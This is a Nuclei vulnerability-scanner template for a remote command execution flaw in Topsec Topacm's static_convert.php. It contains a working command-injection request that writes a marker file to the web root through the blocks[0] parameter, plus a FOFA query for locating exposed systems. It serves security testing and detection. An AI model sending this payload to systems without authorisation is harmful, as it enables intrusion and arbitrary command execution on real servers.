nuclei-templates/http/vulnerabilities/topsec/topsec-topacm-rce.yaml

45 lines
1.4 KiB
YAML
Executable File

id: topsec-topacm-rce
info:
name: Topsec Topacm - Remote Code Execution
author: SleepingBag945
severity: critical
description: |
Tianrongxin Internet Behavior Management System static_convert.php remote command execution vulnerability
reference:
- https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/TRXController.java
- https://github.com/Phuong39/2022-HW-POC/blob/main/天融信-上网行为管理系统RCE.md
metadata:
verified: true
max-request: 2
fofa-query: body="ActiveXObject" && body="dkey_login" && body="repeat-x"
tags: rce,topsec,topacm,intrusive
http:
- raw:
- |
GET /view/IPV6/naborTable/static_convert.php?blocks[0]=||%20echo%20%27{{randstr}}%27%20%3E%20/var/www/html/config_application.txt%0a HTTP/1.1
Host: {{Hostname}}
- |
GET /config_application.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "{{randstr}}"
- type: word
part: header_2
words:
- text/plain
- type: status
part: header_2
status:
- 200
# digest: 4a0a00473045022100d7f4b40014328875952cc9568ed7c755f3fda07d5d70e95b74a713fa717e956b02200be754be20fee807e2cc6be1f55cc3d785a1daab83e7848e218cb4bb3a8e0312:922c64590222798bb761d5b6d8e72950